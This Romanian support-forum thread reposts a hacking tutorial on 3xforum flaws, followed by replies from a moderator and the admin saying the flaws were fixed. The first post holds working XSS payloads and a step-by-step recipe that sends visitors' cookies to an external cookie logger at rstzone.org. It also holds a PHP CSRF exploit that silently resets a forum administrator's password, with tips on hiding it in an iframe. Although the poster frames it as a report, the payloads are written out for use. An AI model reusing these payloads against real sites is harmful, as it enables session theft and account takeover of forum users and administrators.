Simpatie.ro - matrimoniale
Support 3xforum.ro
Nou pe simpatie:
mimy_glacier din Prahova
Femeie
24 ani
Prahova
cauta Barbat
26 - 47 ani
Support 3xforum.roInregistrareLoginPozeNu sunteti logat. Lista Forumurilor Pe Tematici
Support 3xforum.ro / Intrebari legate de administrare /

Vulnerabilitati 3xforum

Pagini: 1 Moderat de electrik cat
#1
ddl
Membru
Din: San Venganza
Acesta este un tutorial de pe www.rstzone.org. L-am postat in speranta ca Adminul acestui forum va rezolva toate problemele semnalate,mai ales ca sunt foarte grave

*Daca cititi acest articol, se presupune ca aveti cunostinte de baza despre vulnerabilitatile web.
*Articolul este divizat in 2 parti:
#1) Prezentarea catorva vulnerabilitati
#2) Prezentarea unei metode de utilizare a acestora

#######
#Vuln 1#
#######

Un XSS foarte interesant prin faptul ca e persistent. Vulnerabilitatea apare la postarea unui mesaj si afecteaza toti utilizatorii. La postarea unui mesaj, se pune in titlu:

Code:

</title><SCRIPT SRC="http://ha.ckers.org/xss.js"></SCRIPT>

Efectul … javascript-ul este executat. Exemplu:

Code:

http://xsst3st.3xforum.ro/post/8/1/title_SCRIPT_SRC_http_ha_ckers_org_xss_js_SCRIPT_/

#######
#Vuln 2#
#######
Aceasta vulnerabilitate ii afecteaza doar pe administratori. Campul cu trimiterea unui SMS pentru inlaturarea reclamelor e si el vulnerabil. Introduceti:

Code:

"><SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>

In http://***nume_forum***.3xforum.ro/admin_index.php . Efectul e din nou cel asteptat: codul nu e filtrate si javascript-ul este executat.

#######
#Vuln 3#
#######


O alta vulnerabilitate de tip XSS se regaseste in chat. Este un XSS non-persistent, dar, spre deosebire de primul XSS non-persistent, este pe baza de GET, asa ca e putin mai simplu de folosit. Vulnerabilitatea:

Code:

http://***nume_forum***.3xforum.ro/chat/?room="><script src=http://ha.ckers.org/xss.js ></script>

Acum, pentru a exploata aceasta vulnerabilitate,trebuie sa urmariti cativa pasi:

1. Daca nu aveti, faceti-va cont pe http://rstzone.org . Daca aveti, logati-va (in caz ca nu sunteti deja logat).
2. Intrati pe http://rstzone.org/forum/ .
3. Dati un scroll pana jos, la legenda cu utilizatorii. Dati acolo click pe nick-ul vostru.
4. Copiati URL-ul. Va fi ceva de genul:
http://rstzone.org/forum/member193.rst
5. Pastrati doar caracterele numerice. In cazul meu, ramane doar:
193
6. Copiati sirul :
<script>document.location="http://rstzone.org/index.php?pagina=cookie_logger&user= ***&logheaza="+document.cookie;</script>
7. Inlocuiti asterix-urile cu numarul obtinut anterior. In cazul meu, am obtinut
<script>document.location="http://rstzone.org/index.php?pagina=cookie_logger&user= 193&logheaza="+document.cookie;</script>
8. Intrati aici si puneti in primul camp textul obtinut, dupa care copiati textul generat:
http://rstzone.org/index.php?pagina=string_2_code
9. Inlocuiti, in acest script, ceea ce este notat cu ***nume_forum*** cu numele forumului, si ceea ce este notat cu ***script*** cu textul generat anterior:
http://***nume_forum***.3xforum.ro/chat/?room="><script>document.write(***script***)</script>
10. Salveaza link-ul si fura cookie de la cineva. Pentru a la vizualiza, tot ce trebuie sa faci este sa accesezi:
http://rstzone.org/index.php?pagina=coo ... izualizare
11. Ai terminat, nu uita sa imi multumesti :P.

#######
#Vuln 4#
#######

Din pacate (sau din fericire, pentru unii :P), asupra unui admin 3xforum pot fi tintuite si atacuri CSRF. De exemplu, din cauza ca nu se tine cont de refer ,unui admin ii poate fi schimbata parola fara macar sa isi dea seama.
La afisarea paginii, acest exploit schimba parola administratorului de pe forumul “xsst3st” in “parola”. Pentru a schimba parola unui alt site, trebuie doar sa inlocuiti, in a treia linie, valoarea variabilei $site. Daca vreti sa setati alta parola, trebuie sa schimbati, pe a cincia linie, valoarea variabilei $password. Valoarea $id, de pe a patra linie, va recomand sa o lasati neschimbata, pentru ca aproape toti administratorii forumurilor 3xforum au id-ul numeric 2.
Desigur, functioneaza doar daca cel care intra pe pagina este administratorul. Pentru a fi mai silentios, poate fi folosit prin iframe.

Code:

<?php

    $site ="http://xsst3st.3xforum.ro";
    $id="2"; //valoarea default este 2
    $password = "parola"; //parola cu care ii va fi schimbata parola curenta

    $site = $site . "/profile.php?action=change_pass&id=";
    $link = $site . $id;

    $html = <<<HTML
    <form method="post" action="http://xsst3st.3xforum.ro/profile.php?action=change_pass&id=2" id="change_pass" name="tw8">
       <input type="hidden" name="form_sent" value="1">
       <table class="punmain" cellspacing="1" cellpadding="4">
          <tr class="punhead">
             <td class="punhead" colspan="2">Schimbare parola</td>
          </tr>
          <tr>
             <td class="puncon1right" style="width: 140px; white-space: nowrap"><b>Parola noua</b>  </td>
             <td class="puncon2">
                 <input type="password" name="req_new_password1" size="16" maxlength="16" value="$password"><br>
                 <input type="password" name="req_new_password2" size="16" maxlength="16" value="$password">  Introduceti parola inca o data         </td>
          </tr>
          <tr>
             <td class="puncon1right" style="width: 140px; white-space: nowrap">Actiuni  </td>
             <td class="puncon2"><br>  <input type="submit" name="update" value="Submit"><br><br></td>
          </tr>
       </table>
    </form>

    <script>
    document.tw8.submit();
    </script>

    HTML;

    echo $html;

    ?>

###########
#Observatie#
###########

Ceva nefolositor, dar care se merita amintit. Pentru admini, 3xforum are un sistem ce permite vizualizarea mesajelor in timp real. Faceti un utilizator intitulat “';alert(1);i='” (fara ghilimelele duble, dar cu ghilimelele simple) si postati un mesaj pe un forum pe care sunteti admin. Dupa putin timp, intrati pe http://**nume_forum**t.3xforum.ro/live2.php si uitati-va la sursa. Veti observa ceva de genul “\';alert(1);i=\'”. Daca ‘ nu ar fi inlocuit cu \’, ar fi un alt XSS persistent. Dupa cum am zis si mai sus, nefolositor, dar se merita amintit.

sursa tw8

Astept corectari, adaugiri si pareri de tot felul.

bafta


_______________________________________
my ddl

 
   
#2
electrik cat
Moderator
Din: Kitty Kat Land Miauuu
hai sa-ti zic ceva dll

eu personal am avut o experienta nasoala cu acest site dar din care am iesit pe picioarele mele ...deci nu a tinut magaria si am fost mai rapida ca X......

nu mai este asa de usor sa furi pasul adminului ...sfatul care vil dau ....este asta :

nu mai cascati gura la toate prostiile ca multi sunt care arunca cu pietre
si in al doilea rand adminii sa stea atenti pt ca nu mereu e vina 3x-ului si nu e 3x atat de vulnerabil incat hai sa dam bir cu fugitii acuma ....mai ganditi si voi cand scriete ceva ....ca doar nu sunteti plante


_______________________________________
|| BeautyFarm Forum||TUTORIAL 3XFORUM||Teme pt forumuri ||


 
   
#3
3XForumAdmin
Administrator
Din: Bucuresti
In momentul postarii vulnerabilitatea cu adevarat grava (nr 4) era deja rezolvata. (cu multumiri pentru electrik cat)

restul erau mci si le-am rezolvat


_______________________________________
Pentru probleme legate de server trimiteti email la webmaster [arond] 3xforum [punct] ro

 
   
#4
ddl
Membru
Din: San Venganza
nu era un zvon panicard-pur si simplu am semnalat niste probleme care au fost-si nu inteleg aluzia la plante si la gandit(sau ma fac ca nu o inteleg-din bun simt).cunostintele mele despre hacking sites nu sunt atat de dezvoltate incat sa imi permita sa nu ma alarmez la orice "fleac".mici sau mari problemele au existat si am ferma convingere ca exista si altele care au fost "pastrate" in "in caz ca..." sau pur si simplu pentru a a nu da navala cei dornici de faima "owned by...".nu stiu cat de vulnerabil e sau nu 3x in prezent,sincer nici nu prea ma intereseaza,atat timp cat forumul meu ,mic cum e FUNCTIONEAZA normal(si nu o spun din cinism,ci din convingerea ca nu primesc nimic gratuit,pur si simplu promovez un brand care castiga bani din imagine si reclama promovata prin si de de forumul meu si de sute si mii de forumuri mult mai mari ca al meu)

_______________________________________
my ddl

 
   
#5
electrik cat
Moderator
Din: Kitty Kat Land Miauuu
off topic

hei dll nu o lua atat de personal ca nu am nimik cu tine si nu era in intentia mea sa crezi ca te-as fi jignit sau mai stiu eu ce .....nu fi supi pe mine ca nu zgarii rau 


_______________________________________
|| BeautyFarm Forum||TUTORIAL 3XFORUM||Teme pt forumuri ||


 
   
#6
3XForumAdmin
Administrator
Din: Bucuresti
Topic inchis

_______________________________________
Pentru probleme legate de server trimiteti email la webmaster [arond] 3xforum [punct] ro

 
   

Topicuri similare

Pagini: 1  
Mergi la